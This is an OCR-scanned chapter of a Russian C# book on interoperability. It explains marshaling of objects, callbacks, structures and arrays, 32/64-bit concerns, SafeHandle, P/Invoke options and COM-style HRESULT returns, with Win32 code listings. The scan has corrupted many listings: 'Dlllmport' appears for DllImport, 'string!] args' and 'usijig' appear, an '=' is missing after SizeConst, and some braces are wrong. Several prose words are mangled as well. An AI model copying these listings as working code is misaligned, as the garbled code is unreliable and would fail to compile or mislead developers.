Интероперабельность Объекты Если вы работаете с убъектами на границе взаимодействий, то при- чиной этого, как правило, является использование API СОМ или API Windows Runtime. Тем не менее обсуждение маршалинга было бы не- полным, если бы мы не затронули работу с объектами, так как любой нативный метод — даже обычная точка входа в DLL — может принимать или возвращать ссылку на объект. В ряде случаев будет доступен тип .NET, представляющий либо тип неуправляемого объекта, с которым вы хотите работать, либо неуправ- ляемый интерфейс, реализуемый объектом. Тогда вы просто можете ис- пользовать данный .NET-тип с аргументом или с возвращаемым значе- нием. Тем не менее некоторые методы, работающие с СОМ-рбъектами, имеют нативную сигнатуру, где просто используется IUnknown — базо- вый тип всех COM-интерфейсов. .NET Framework не определяет пред- ставления для этого интерфейса, а потому вы просто применяете object и атрибут MarshalAs с неуправляемым типом UnmanagedType, равным IUnknown. Для этого перечисления также существует запись IDispatch, предназначенная для использования с API, ожидающими взаимодей- ствий с одноименным COM-интерфейсом. IDispatch—это основная сущ- ность объектной модели компонентов, предназначенная для поддержки сценарных языков. Windows Runtime требует, чтобы все объекты, ис- пользуемые в этом фреймворке, реализовывали еще один стандартный интерфейс — I Inspectable. Опять же, в .NET отсутствует определение данного типа, потому если вам требуется вызвать API, в чьем нативном определении используется этот интерфейс, то в сигнатуре метода .NET вновь будет применяться object с атрибутом MarshalAs, указывающим неуправляемый тип UnmanagedType интерфейса I Inspectable. Когда код .NET вызывает нативный метод, возвращающий неуправ- ляемый объект, CLR заключает его в так называемую оболочку исполня- ющей среды (runtime-callable wrapper). Это динамически генерируемый объект. С точки зрения C# он выглядит как самый обычный объект .NET, но по вашей команде он может делать вызовы к базовому СОМ-объекту. В основе работы Windows Runtime лежит модель СОМ, поэтому при ра- боте с объектами Windows Runtime вам также придется пользоваться оболочкой исполняющей среды. Аналогично, если вы вызываете нативный API, ожидающий, что от вас будет передан неуправляемый объект, а вы передаете ссылку на объ- ект .NET, то среда CLR создаст для этой цели оболочку для СОМ-вызовов 1081
Глава 21 (COM-callable wrapper). В ней ваш .NET-объект будет восприниматься в нативном коде точно как СОМ-объект. Я подробнее опишу оболочки исполняющей среды (RCW) и обо- лочки для COM-вызовов (CCW) далее в разделе «СОМ», так как они являются важнейшими элементами СОМ, поддерживающими интеропе- рабельность, но создание оболочек как таковое происходит в рамках мар- шалинга, так как любой нативный метод может использовать объекты. Как только вы передали объект .NET в нативный код, этот код может послать обратный вызов в вашу управляемую программу, вызывая ме- тоды в COM-интерфейсах, предоставляемых оболочкой CCW. На дан- ном примере мы можем убедиться, что интероперабельность допускает «двустороннее движение». И это не единственный способ, которым на- тивный код может вызывать вашу управляемую программу. Указатели функций Некоторые нативные методы принимают в качестве аргументов ука- затели функций. Например, метод EnumWindows из Win32 предоставляет способ получить информацию обо всех окнах, в данный момент откры- тых на рабочем столе. Вы должны передать ему обратный вызов, который по одному разу будет применяться к каждому из окон. В листинге 21.2 показано, как импортировать такой метод. ^Листинг 21.2. Импорт API-интерфейса, работающего на основе обратных вызовов [Dlllmport("User32.dll")] [return: MarshalAs(UnmanagedType.Bool)] static extern bool EnumWindows(EnumWindowsProc IpEnumFunc, IntPtr IParam); [return: MarshalAs(UnmanagedType.Bool)] delegate bool EnumWindowsProc(IntPtr hwnd, IntPtr IParam); Как видите, здесь для передачи указателя на функцию используется делегат. В листинге 21.3 показано, как вызывать такой API. Он также импортирует метод GetWindowText, при помощи которого отображается заголовок окна. Кстати, этот же пример показывает, что если вы хоти- те вызвать метод, записывающий строку обратно в буфер, сообщаемый вами в качестве аргумента, то вы передаете этому методу StringBuilder, а не string, так как тип string является неизменяемым. 1082
Интероперабельность Листинг 21.3. Работа с методом EnumWindows static void Main(string[] args) { EnumWindows(EnumWindowsCallback, IntPtr.Zero); } static bool EnumWindowsCallback(IntPtr hWnd, IntPtr IParam) { var title = new StringBuilder(200); if (GetWindowText(hWnd, title, title.Capacity) != 0) { Console.WriteLine(title); } return true; } [Dlllmport("User32.dll", CharSet = CharSet.Auto, SetLastError = true)] static extern int GetWindowText(IntPtr hWnd, [MarshalAs(UnmanagedType.LPTStr)] StringBuilder IpString, int nMaxCount); Сразу после возврата EnumWindows он не будет снова использовать ваш обратный вызов, но ряд API вновь обратятся к вам после опреде- ленной задержки. Например, оболочка Windows предоставляет API для мониторинга каталогов, который будет выполнять ваш обратный вызов всякий раз при изменении файла в каталоге. Как правило, в .NET вам не придется пользоваться таким механизмом, поскольку гораздо про- ще будет задействовать в таком случае FileSystemWatcher, учитывая, что оболочка требует от вас создать манипулятор окна, который будет ассо- циироваться с уведомлениями. Тем не менее API оболочки может отсле- живать изменения и в каталогах, не являющихся обычными директори- ями файловой системы — например, в каталоге Libraries (Библиотеки), появившемся в Windows 7. При работе с подобными API необходимо проявлять осторожность, так как делегат вполне может быть принят за мусор и утилизирован сборщиком до того, как нативный код закончит работу с этим делегатом. Если вы передадите делегат нативному Методу в качестве аргумента, то CLR гарантирует, что делегат не попадет под сборку мусора до тех пор, пока метод не вернется. Однако, если нативный метод сохраняет полученный им указатель на функцию, CLR никоим образом не может об этом узнать, а также не узнает, насколько долго будет сохраняться 1083
Глава 21 данный указатель. Нельзя хранить делегат бесконечно, просто «на вся- кий случай», так как это приведет к утечке памяти. А если бы мы даже пошли на такое долговременное хранение делегата, оно также потребо- вало бы сохранять «живым» и тот объект, на который ссылается делегат. Утечка получилась бы большой. Ваша задача в таких сценариях — пре- дотвратить попадание делегата под сборку мусора. Для этого вы можете просто удерживать ссылку на него до тех пор, пока не будете уверены, что данный делегат вам больше точно не понадобится. Структуры Многие нативные методы принимают в качестве аргументов указате- ли на структуры. Если вам требуется вызвать такой метод, CLR должна иметь возможность правильно скомпоновать информацию структуры в памяти, а также при необходимости выполнять нужные преобразования данных. Поэтому вы должны предоставить подходящее определение. Вы можете использовать class или struct. Разница между классом и струк- турой здесь будет примерно такая же, как и в управляемом коде: по умол- чанию в ходе маршалинга ссылка на экземпляр класса станет передавать- ся как указатель, а аргумент типа struct будет передаваться по значению, если только этот аргумент не окажется объявлен как ref или out. Ваш управляемый тип должен определять поля — по одному полю для каждого поля представляемой им структуры. Использовать здесь свойства вы не можете. Если хотите, вы можете обернуть поля в свой- ства, но в процессе интероперабельности значение имеют как раз поля. Если все поля относятся к побитно копируемым типам, то сама структу- ра также будет побитно копируемой. Это означает, что .NET-экземпляры такого типа можно будет не копировать, а использовать напрямую (то есть CLR сможет передать нативному методу указатель, связанный не- посредственно с данными, находящимися в управляемой куче). Тем не менее, чтобы такой механизм работал, компоновка класса в CLR должна быть именно такой, какую ожидает нативный код. Вообще CLR оставляет за собой право переупорядочивать поля в ва- ших типах ради более рационального использования памяти. Например, если вы объявляете поля типа как byte, int, byte, int и byte — в таком порядке, — то CLR вполне может сохранить их иначе: byte, byte, byte, int и int. Дело в том, что значения int должны выравниваться по че- тырехбайтным границам. Поэтому при сохранении исходного поряд- ка пришлось бы вставлять по три байта пустого пространства после 1084
Интероперабельность каждого значения byte для правильного выравнивания следующих за ними значений int. Но-в результате переупорядочивания все три значе- ния byte могут идти друг за другом, и потребуется добавить всего один байт-заполнитель, чтобы добиться верного выравнивания значений int. Обычно так и происходит, и вы этого даже не замечаете. Но тип, в котором CLR изменит порядок следования полей так, как было сде- лано выше, в нативном коде будет считаться поврежденным. Поэтому при определении структур, представляющих нативные типы, необхо- димо отключать механизм переупорядочивания полей. Так нужно де- лать даже в тех случаях, когда тип не является побитно копируемым, поскольку CLR упорствует в переупорядочивании полей. Если вы не дали явного указания, в каком именно порядке вы хотите видеть поля типа, CLR полагает, что вы не понимаете, чего хотите, и что данный тип не предназначен для использования в контексте интероперабельности. В листинге 21.4 показана структура, в которой переупорядочивание по- лей отключено. Я основал ее на оригинальном определении из Windows SDK на С и переписал на C# вручную. Листинг 21.4. Структура с последовательным упорядочиванием [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)] struct OSVERSIONINFO { public int dwOSVersionlnfoSize; public int dwMajorVersion; public int dwMinorVersion; public int dwBuildNumber; public int dwPlatformld; [MarshalAs(UnmanagedType.ByValTStr, SizeConst 128)] public string szCSDVersion; } Атрибут StructLayout сообщает CLR, что порядок следования полей необходимо сохранить. Эта структура используется с API GetVersionEx из Win32, и здесь возникают два интересных момента. Во-первых, дан- ный пример показывает, как обращаться со структурами, нативное определение которых включает символьный массив фиксированного размера, где содержится строка. В конечном поле здесь будет показана соответствующая настройка MarshalAs. Во-вторых, тут мы сталкиваемся с типичной для Windows идиомой: первое поле должно быть установ- лено в значение размера, и по нему Windows определяет, какая версия 1085
Глава 21 структуры вам требуется. Существует и расширенная версия данной структуры, где содержится больше информации. В листинге 21.5 пока- зано, как работать с этим API. Листинг 21.5. Использование структуры с полем, указывающим размер static void Main(string!] args) { OSVERSIONINFO info = new OSVERSIONINFO(); info.dwOSVersionlnfoSize = Marshal.SizeOf(typeof(OSVERSIONINFO)); GetVersionEx(ref info); Console.WriteLine(info.dwMajorVersion); I [Dlllmport("Kernel32.dll", CharSet = CharSet.Unicode)] [return: MarshalAs(UnmanagedType.Bool)] static extern bool GetVersionEx( ref OSVERSIONINFO IpVersionlnfo); В этом примере используется класс Marshal, предоставляющий различные полезные утилиты для обеспечения интероперабельности. Здесь я использую метод SizeOf, сообщающий размер структуры в бай- тах (или размер того нативного представления, которое будет создано в результате интероперабельности). Иногда может потребоваться еще более полный контроль над компо- новкой структуры. Кое-какие неуправляемые API используют структу- ры, в которых одно и то же поле может содержать различные типы дан- ных — в зависимости от того, в каком сценарии используется структура. В С или C++ для этого обычно применяется union. В такой ситуации недостаточно будет просто затребовать, чтобы ваши поля шли в пра- вильном порядке. Вместо этого понадобится задать LayoutKind. Explicit в атрибуте StructLayout. Для этого придется аннотировать каждое от- дельно взятое поле атрибутом Fieldoffset, указывающим точное бай- товое смещение, с которым должно использоваться поле. Задавая для разных полей одно и то же байтовое смещение, вы обеспечиваете их на- ложение друг на друга. Массивы Многие нативные API работают с массивами. Большинство API, рассчитанных на потребление из языка С, будут просто принимать ука- 1086
Интероперабельность затель на начало массива, а длина этого массива обычно передается в ка- честве дополнительного аргумента. Если вы используете MarshalAs, что- бы аннотировать аргумент, относящийся к одному из типов массивов, как LPArray, то нативный код получит именно такой указатель. Модель СОМ определяет еще один тип массива, который вы може- те задать при помощи неуправляемого типа UnmanagedType, называемо- го SafeArray. Не все API модели СОМ его используют. В сущности, это структура данных, представляющая (довольно специфические) масси- вы, которые существовали еще в Visual Basic 6 (последняя версия этого языка до появления .NET). Есть еще один важный способ, которым массивы зачастую обрабаты- ваются в нативном коде: они могут внедряться в другую структуру. На- пример, структура может объявить в качестве поля 20-байтный массив. В .NET поля, в которых записываются типы-массивы, содержат лишь ссылки на объекты массива, но сами эти объекты не хранятся в структу- ре. Вы можете воспользоваться атрибутом MarshalAs и сообщить CLR, что именно так неуправляемый код будет обрабатывать массив. Для этого нужно установить UnmanagedType в значение ByValArray. Чтобы та- кой механизм работал, потребуется задать верное значение для свойства SizeConst атрибута MarshalAs. Это свойство должно сообщать CLR, сколько элементов в массиве. CLR извлечет данные, возвращенные в такой форме нативным API, и скопирует их обратно в обычный .NET-массив. Если же вы будете передавать данные в нативный API, то он скопирует информацию из вашего обычного массива в структуру с фиксированным размером. Не- управляемый тип ByValTStr из листинга 21.4 — это вариация на тему, но он используется именно со встроенными символьными массивами, представляющими строки. 32 бит и 64 бит Приложение, целиком состоящее из управляемого кода, может ра- ботать в 32-битном или в 64-битном процессе. Тем не менее нативный код компилируется только для одного из двух вариантов — 32-битного или 64-битного. 32-битный нативный компонент нельзя загрузить в 64- битный процесс. Необходимо помнить об этом, вызывая нативные мето- ды из С#. Если используемые вами нативные компоненты доступны как в 32-битной, так и в 64-битной форме, то вам не придется делать чего-то 1087
Глава 21 особенного. Например, отдельно взятый правильно оформленный им- порт Win32 API будет правильно работать в любом процессе. При объявлениях сигнатур функций в ходе интероперабельно- сти могут допускаться ошибки, которые не вызывают проблем в 32-битных процессах, а проявляются только в 64-битных и наоборот. Например, вы можете объявить аргумент неуправ- ляемого типа lparam как int. Он будет работать в 32-битном процессе, но размер типа lparam определяется по размеру указателя, поэтому в 64-битном процессе он будет иметь ши- рину 64 бита. При работе со значениями, размер которых за- висит от размера указателя, следует использовать тип IntPtr. Если работа вашего кода зависит от компонента, доступного только в 32-битной форме (или, что бывает реже, только в 64-битной форме), то вы должны соответствующим образом указать целевую платформу для вашей сборки. Это можно сделать на страницах со свойствами проекта, на вкладке Build (Сборка). По умолчанию в раскрывающемся списке Platform Target (Целевая платформа) в проектах большинства типов будет установлено значение Any CPU (Любой процессор). Это значе- ние можно заменить на х86 (32 бит) или х64 (64 бит). Если ваша сборка является динамически подключаемой библиоте- кой (DLL), то явное указание архитектуры не гарантирует успеха. Ре- шение о количестве бит (32 или 64) принимается на уровне процесса, поэтому если основной исполняемый файл либо выбирает 64-битный процесс, либо не задает приоритета и все равно оказывается в 64-битном процессе по умолчанию, то при попытке загрузить 32-битную DLL вы получите ошибку. Поэтому необходимо гарантировать, что подходящая платформа будет задаваться на уровне приложения. Безопасные манипуляторы Выше я применял тип IntPtr для представления аргумента манипу- лятора, используемого с API BackupEventLog в листинге 21.1. Хотя та- кой прием и работает, существует ряд проблем при применении IntPtr с манипуляторами. Во-первых, в данном случае не различаются типы манипуляторов. Действительно, было бы удобнее, если бы в журнале событий манипуляторы представлялись специальным типом; в таком случае мы не допустили бы передачу неподходящего манипулятора. Во- 1088
И нтероперабел ьность вторых, совершенно необходимо гарантировать, что каждый манипуля- тор будет закрыт. Это неуправляемый ресурс, поэтому, если мы забудем закрыть манипулятор, сборщик мусора нам тут не поможет. Мне в итоге потребовалось написать блок finally, чтобы обеспечить обязательное закрытие каждого получаемого манипулятора. Более того, если бы я хо- тел гарантировать абсолютно безотказное закрытие моих манипулято- ров даже в экстремальных ситуациях, например при принудительном завершении потока, мне следовало бы использовать область выполне- ния с ограничениями (constrained execution region). Такие области были рассмотрены в главе 8. Чтобы справляться с подобными проблемами, мы обычно не ис- пользуем IntPtr с манипуляторами. Вместо этого применяется тип, производный от SafeHandle. Библиотека классов определяет несколько встроенных производных типов для работы с самыми распространен- ными манипуляторами, например SafeRegistryHandle и SafeFileHandle. Специальный тип манипулятора для записи в журналах событий не определяется, но вы вполне можете написать его сами, как показано в листинге 21.6. Листинг 21.6. Пользовательский безопасный манипулятор public class SafeEventLogHandle SafeHandleZeroOrMinusOnelsInvalid ( public SafeEventLogHandle!) base(true) { } protected override bool ReleaseHandle() { return CloseEventLog(handle); } [Dlllmport("advapi32.dll")] [return: MarshalAs(UnmanagedType.Bool)] [SuppressUnmanagedCodeSecurity] private static extern bool CloseEventLog(IntPtr hEventLog); } Я произвел его от определенного базового класса безопасных мани- пуляторов, который распознает 0 как недопустимое для манипулятора значение — это обусловлено соглашением, действующим при работе с API журналов событий. Используемый по умолчанию конструктор 1089
Глава 21 просто сообщает базовому классу, что он владеет обернутым манипу- лятором. Кроме того, вся работа, которую нам требуется выполнить, сводится к реализации метода ReleaseHandle. CLR автоматически пре- вращает его в область выполнения с ограничениями, выполняемую из критического финализатора. Таким образом я гарантирую, что на каком-то этапе работы окается выполнен код, удостоверяющий, что у меня не будет возникать утечек в манипуляторах из журнала событий. Безопасные манипуляторы реализуют IDisposable, благодаря чему их высвобождение совершенно несложно. Поэтому в большинстве случаев я не буду полагаться на финализацию. Безопасные манипуляторы получают специальную обработку в кон- тексте интероперабельности. Вы можете использовать тип, производный от SafeHandle, с любым аргументом или возвращаемым значением, пред- ставляющим собой манипулятор. Когда вы передаете безопасный мани- пулятор в нативный код, CLR автоматически извлекает манипулятор и передает его. Получив манипулятор, CLR автоматически сконструи- рует безопасный манипулятор указанного типа и установит в значение, возвращенное нативным методом. В листинге 21.7 мы используем тип, определенный в листинге 21.6, как возвращаемое значение для импор- тированного метода OpenEventLog, а также в качестве аргумента манипу- лятора для BackupEventLog. Листинг 21.7. Использование безопасного манипулятора static void Main(string!] args) { usijig (SafeEventLogHandle hAppLog = OpenEventLog(null, "Application")) { if (!hAppLog.Islnvalid) { if (!BackupEventLog(hAppLog, @"c:\temp\backupapplog.evt")) { int error = Marshal.GetLastWin32Error(); Console.WriteLine("Failed: 0x{0:x}", error);
Интероперабельность [Dlllmport("advapi32.dll", SetLastError = true, CharSet = CharSet.Auto)] public static extern SafeEventLogHandle OpenEventLog( [MarshalAs(UnmanagedType.LPTStr)] string IpUNCServerName, [MarshalAs(UnmanagedType.LPTStr)] string IpFileName); [Dlllmport("advapi32.dll", SetLastError = true, CharSet=CharSet.Auto)] [return: MarshalAs(UnmanagedType.Bool)] static extern bool BackupEventLog( SafeEventLogHandle hEventLog, [MarshalAs(UnmanagedType.LPTStr)] string backupFile); Безопасность Возможность вызывать нативный код фактически отменяет те гаран- тии безопасности типов, которые обычно предоставляются в CLR. Если вы можете вызвать любой нативный метод в DLL или СОМ-компоненте, то вполне можно найти и такие методы, что позволяют произвольным образом изменить данные по любому адресу. Поэтому в такой ситуации CLR больше не защищает вас, а также не может помешать вам делать не- допустимые вещи. Разумеется, остаются еще механизмы безопасности, действующие на уровне операционной системы и в известной степени ограничивающие возможности кода. Таким образом, использование ин- тероперабельных сервисов является привилегированной операцией. По- добные операции разрешены не в любом коде — например, Silverlight их по умолчанию не допускает. Как правило, ваш код должен быть полно- стью доверенным. Код, работающий в полной версии .NET Framework, обычно действительно является полностью доверенным, если только он не используется в среде, целенаправленно сконфигурированной как ча- стично доверенная. Некоторые специалисты настраивают веб-серверы для работы в частично доверенном режиме, чтобы минимизировать риск случайного возникновения брешей в системе безопасности. При- ложения, установленные при помощи ClickOnce, также зачастую кон- фигурируются как частично доверенные, поскольку в таком случае пользователь может не выдавать приложению полномочий при первом его запуске. Итак, мы познакомились с проблемами, которые могут возникнуть при использовании любой формы интероперабельности. Теперь давайте в отдельности рассмотрим каждый из трех механизмов интероперабель- ности. 1091
Глава 21 Платформозависимый вызов Предоставляемая в CLR возможность платформозависимого вызова (platform invoke), сокращенно именуемая P/Invoke, позволяет вызывать нативные методы в библиотеках DLL. Выше в листинге 21.1 я восполь- зовался этой возможностью для вызова API Win32. Это очень распро- страненная причина, по которой выполняются платформозависимые вызовы, и такой подход будет работать с любой DLL. Для применения платформозависимых вызовов необходимо объявить метод .NET, кото- рый будет представлять неуправляемый метод. Так CLR сможет узнать типы аргументов и возвращаемое значение. В приведенном выше при- мере нас интересовал маршалинг, а в листинге 21.8 мы воспользуемся более простым методом. При этом не так важно, что именно делается в примере, — я просто хотел сделать его легким для восприятия, сосредо- точив внимание на атрибуте Dl 1 Import. Но если вас интересуют детали, отмечу, что этот API-интерфейс Win32 работает примерно так же, как свойство TickCount класса Environment: возвращает время в миллисекун- дах, истекшее с момента последней загрузки. Но, поскольку эта версия возвращает 64-битный счетчик, он не возвращается к начальному значе- нию раз в 50 дней ийи т. п. Он впервые появился в Windows Vista. Листинг 21.8. Вызов API-интерфейса Win32 [Dlllmport ("Kernel32.dll") ] public static extern ulong GetTickCount64(); Атрибут Dlllmport объявляет, что вы хотите использовать плат- формозависимый вызов, и имеет обязательный аргумент конструкто- ра, принимающий имя .rf/Z-библиотеки, в которой определяется метод. Объявление метода должно быть статическим (static). Он может иметь любой указатель защиты. Кроме того, вы должны задать ключевое слово extern — как упоминалось выше, оно означает, что в исходном коде на C# не будет тела метода, так как его реализация находится где-то в дру- гом месте. По умолчанию CLR предполагает, что входная точка в .^//-библиотеку называется так же, как и ваш метод, хотя точное совпадение здесь не яв- ляется обязательным условием. Выше мы убедились, что среда времени выполнения учитывает соглашения, связанные с суффиксами А или W у методов, работающих с текстом. Эти суффиксы указывают, какое стро- ковое представление используется в конкретном случае. CLR ничего не знает о декорировании имен, применяемом в C++ (при помощи этого 1092
Интероперабельность механизма C++ встраивает в символьные имена типы аргументов, воз- вращаемые типы и другую информацию), но распознает стиль декориро- вания имен, применяемый в С. В этом стиле методы, удовлетворяющие соглашению о вызовах stdcall*, имеют ведущее нижнее подчеркивание, а за именем метода следует символ @ и размер списка аргументов в бай- тах. Если вам требуется импортировать нативный метод, декорирован- ный таким образом, то в C# можно использовать и недекорированное имя, так как CLR будет знать, что экспорт DLL под названием _Foo@12 представляет метод под названием Foo. Странно, но общеязыковая среда выполнения не распознает соглашение о вызовах cdecl, где нижнее под- черкивание является префиксом, а суффикс отсутствует. Механизм распознавания декорированных имен действует в CLR лишь для того, чтобы вы могли ссылаться на метод просто пд его имени. Среда не пытается угадать, какое соглашение о вызовах используется. По умолчанию в 32-битном процессе Windows CLR предполагает, что все точки входа в DLL применяют соглашение stdcall независимо от того, декорированы они или нет. Поэтому атрибут Dll Import определяет опциональную настройку, при помощи чего вы можете указать другой вариант. Это одна из нескольких опций, о которых мы поговорим в сле- дующих разделах. Соглашение о вызовах Многие DLL никак явно не сообщают, какие соглашения о вызо- вах используются на их точках входа. Компиляторы С и C++ узнают действующее соглашение из файлов заголовков, поэтому самой DLL не требуется содержать эту информацию. Большинство 32-битных API Windows не используют соглашения о декорировании имен для stdcall, хотя и применяют соглашение о вызовах stdcalL Поэтому иногда требу- ется сообщить CLR, какое соглашение о вызовах использует метод. Вы можете установить поле Callingconvention атрибута Dlllmport в значе- ние, взятое от перечислимого типа Callingconvention. По умолчанию оно равно Winapi. Это говорит о том, что CLR долж- на выбрать соглашение о вызовах, по умолчанию используемое API * В 32-битном нативном коде существует несколько различных способов передачи аргументов методу и последующей очистки стека. Конкретный набор действующих при этом правил обычно называется соглашением о вызовах (calling convention). Windows определяет только одно соглашение о вызовах для 64-битной архитектуры, а в 32-битной архитектуре широко используются три таких соглашения 1093
Глава 21 Windows на той платформе, где вы работаете. В 64-битном коде автомати- чески выбирается единственное применяемое соглашение. Как было ука- зано выше, Windows применяет stdcall и в 32-битных версиях, но Windows СЕ использует cdecl. Поэтому версия .NET, работающая на устройствах с Windows СЕ, по умолчанию будет применять соглашение cdecL Перечисление Callingconvention определяет не только Winapi, Cdecl и StdCall, но и включает значения ThisCall и FastCall. Правда, ThisCall используется только с методами экземпляров объектов, поэтому не под- держивается при платформозависимых вызовах. Хотя компилятор С++ от Microsoft и различает соглашение fastcall, CLR совершенно не под- держивает его при интероперабельных вызовах. Обработка текста Как было указано выше, CLR может логически выводить, какое представление — двухбайтное или однобайтное — должны иметь стро- ки, маршалируемые как LPTStr. Для этого среда проверяет, какой суф- фикс присутствует в имени метода — А или W. Тем не менее вы можете столкнуться с DLL, не использующими этого соглашения. Простейший способ выхода из таких ситуаций — явное указание того, какой тип стро- ки вам требуется с MarshalAs. Но есть один сценарий, при котором такая тактика не сработает. Допустим, вы определили struct или class для представления структуры, используемой нативными методами. В ней могут содер- жаться строковые (string) поля, а если эта структура будет применять- ся и с A-версиями, и с W-версиями одних и тех же API, то вы не станете указывать кодировку в типе, чтобы CLR могла сама выбрать правильное строковое представление. Но та же самая структура может использо- ваться и таким нативным методом, который поддерживает только двух- байтные символы; в таком случае можно будет обойтись без суффикса W. В этой ситуации вы должны сами сообщить CLR, какой строковый формат использовать, как сделано в листинге 21.9. Листинг 21 -9- Указываем, как следует обрабатывать LPTStr [Dlllmport("MyLibrary.dll", CharSet = CharSet.Unicode)] static extern int UseContainer(SomeTypeContainingString s); Более распространенная причина, по которой специально указыва- ется кодировка, — это необходимость жестко задать используемую вер- 1094
Интероперабельность сию API (например, вам нужна поддержка Unicode, и вы готовы полу- чить исключение, липпгбы не возиться с однобайтной альтернативой). Правда, в таком случае работа не ограничивается обычным указанием CharSet. Вам также потребуется сообщить CLR, что вы собираетесь ис- пользовать конкретную точку входа и готовы принять другую как экви- валентную, только если это не нарушает действующих соглашений об именовании. Имя точки входа Вы можете принудить CLR к использованию конкретной точки вхо- да с указанным вами именем, установив поле ExactSpelling атрибута Dlllmport в значение true. В результате CLR не будет пользоваться за- писью, имеющей суффикс А или W, если вы сами специально не укажете тот или иной суффикс. Такой прием может оказаться полезен и в тех случаях, когда требу- ется вызвать функцию, которая была вызвана с применением декориро- вания имен (используемого в C++). Если вы прикажете компилятору C++ экспортировать метод, но не укажете, что вам при этом требуется семантика экспорта по образцу С, то компилятор встроит информацию о списке аргументов и возвращаемом значении в то имя метода, которое будет присутствовать в DLL. Таким образом гарантируется, что, имей метод несколько перегруженных вариантов, каждый из них станет экс- портироваться под собственным именем. Если вы экспортируете члены классов, то информация о содержавшем их классе также будет при этом экспортироваться. Результирующие идентификаторы не обязательно окажутся допустимы в С#, обычно они являются нечитаемыми. При этом радует, что, хотя по умолчанию CLR берет имя экспорта DLL из объявленного вами имени метода, в C# вы можете использовать простое удобочитаемое имя, а потом задать в качестве значения поля EntryPoint атрибута Dlllmport строку, содержащую реальное имя. Возвращаемые значения в стиле СОМ Некоторые методы, предоставляемые динамически подключаемы- ми библиотеками, при работе с возвращаемыми значениями следуют соглашениям, применяемым в модели СОМ. Эти соглашения исполь- зуются почти всеми методами, работающими на СОМ-интерфейсах, но вы встретите их и во многих API Win32, поддерживающих модель 1095
Глава 21 СОМ. Чтобы иметь возможность сообщать об ошибках, методы СОМ обычно возвращают значение типа HRESULT. Это просто 32-битное целое число, но по нему можно определять успешность или неуспешность вы- полнения. Кроме? того, оно обеспечивает стандартный способ представ- ления возвращаемого кода, по которому вы можете определить, какая именно ошибка произошла. Итак, возвращаемое значение этого метода используется для сообщения об ошибках, и если вы хотите возвращать от него какое-либо иное значение, это нужно делать при помощи ар- гумента. Он будет соответствовать применяемому в C# параметру out, хотя вся работа и станет осуществляться при помощи указателей в на- тивном коде. По действующему соглашению, такой аргумент в методе должен идти последним, иногда его называют логическим возвращае- мым значением. Общеязыковая среда выполнения может проверять за вас значения HRESULT, преобразуя ошибки в исключения. Это говорит о том, что ва- шему управляемому коду не требуется просматривать HRESULT, а пото- му возвращаемое значение высвобождается. При интероперабельности сигнатура метода может меняться, так что логическое значение, возвра- щаемое нативным методом через аргумент, с точки зрения C# становит- ся фактически единственным возвращаемым значением. Например, рас- смотрим нативный API из листинга 21.10. Этот метод предоставляется библиотекой \)le32.dll и используется для создания нового экземпляра COM-класса. Как правило, импортировать его не нужно — как будет по- казано далее в разделе «СОМ», CLR обычно вызывает этот API по ва- шему требованию. Я показываю его потому, что существует не так много API Win32, использующих возвращаемые значения в стиле СОМ, — это соглашение применяется в основном СОМ-объектами. Листинг 21.10. Нативный метод с возвращаемым значением в стиле СОМ HRESULT CoCreatelnstance(REFCLSID rclsid, LPUNKNOWN pUnkOuter, DWORD dwClsContext, REFIID riid, LPVOID *ppv); Как видите, возвращаемый тип HRESULT подчиняется соглашению СОМ. У него также есть логическое возвращаемое значение — его ре- зультатом является новоиспеченный COM-объект. Этот последний ар- гумент — указатель на void*. В С void* — указатель неопределенного типа, то есть может указывать на что угодно. Именно с его помощью большинство нативных API возвращают COM-объекты. Мы можем им- портировать этот метод в мир .NETt сохранив его сигнатуру — так, как показано в листинге 21.11. 1096
Интероперабельность Листинг 21.11. Буквальный импорт возвращаемого значения в стиле СОМ [Dlllmport("Ole32.dll")] static extern int CoCreatelnstance( ref Guid rclsid, [MarshalAs(UnmanagedType.IUnknown)] object pUnkOuter, int dwClsContext, ref Guid riid, [MarshalAs(UnmanagedType.IUnknown)] out object ppv); При использовании такого подхода наша задача — проверить воз- вращаемое от него целое число int, чтобы удостовериться, что оно не яв- ляется кодом ошибки.Но вместо этого мы можем импортировать метод другим способом — так, как это показано в листинге 21.12. Листинг 21.12. Более естественный способ отображения для возвращаемого значения в стиле СОМ л [Dlllmport (’'Ole32.dll", PreserveSig = false)] [return: MarshalAs(UnmanagedType.IUnknown)] static extern object CoCreatelnstance( ref Guid rclsid, [MarshalAs(UnmanagedType.IUnknown)] object pUnkOuter, int dwClsContext, ref Guid riid); Здесь я установил поле PreserveSig атрибута Dlllmport в значение false. Так я сообщаю CLR, что точная сигнатура нативного метода не предоставляется и что на самом деле он возвращает HRESULT, а его объ- явленный возвращаемый тип — дополнительный параметр out, записы- ваемый в конце этого метода. Иными словами, когда CLR замечает сиг- натуру, показанную в листинге 21.12, она понимает, что на самом деле метод выглядит как объявленный в листинге 21.11. В листинге 21.13 этот метод показан на практике. Два значения Guid — фрагменты, указывающие на использование модели СОМ. В качестве идентификаторов в этой модели используются не тек- стовые последовательности символов, а «глобальные уникальные идентификаторы» — GUID. Первый GUID в листинге 21.13 — это идентификатор для конкретного типа. В данном случае речь идет о сценарном объекте, такой тип предоставляется API оболочки Windows Explorer. Второй GUID в приведенном примере — двоич- ный идентификатор интерфейса IUnknown, реализуемого всеми СОМ- объектами. API CoCreatelnstance требует, чтобы мы сами назвали нужный нам интерфейс, а IUnknown будет гарантированно доступен с любым СОМ-объектом. 1097
Глава 21 Листинг 21.13. Вызов импортированного метода с логическим возвращаемым значением Guid shellAppClsid = new Guid("{13709620-c279-llce-a49e-444553540000}") ; Guid iidlUnknown = new Guid("{00000000-0000-0000-C000-000000000046}”); dynamic app = CoCreatelnstance(ref shellAppClsid, null, 5, ref iidlUnknown); foreach (dynamic item in app.NameSpace(0).items) { Console.WriteLine(item.Name); } Как видите, я использую возвращаемое значение этого метода точно так же, как делал бы с любым другим методом. В данном случае я запи- сал эту информацию в переменную dynamic, так как запрошенный мной COM-класс является сценарным объектом. Как будет показано далее в разделе «Написание сценариев», dynamic — простейший способ работы с этой конкретной разновидностью COM-объектов. Код использует API сценариев оболочки для отображения имен всех элементов, находящих- ся на рабочем столе компьютера. Самое полезное свойство такого преобразования сигнатуры заклю- чается в том, что в подобной ситуации CLR будет проверять базовое воз- вращаемое значение по вашему требованию. Среда автоматически вы- дает исключение, когда нативный метод возвращает результат HRESULT, означающий неуспешное завершение операции. Таким образом, мы мо- жем не переполнять наш код проверками ошибочности возвращаемого значения после каждого вызова API. CLR даже распознает некоторые распространенные коды ошибок 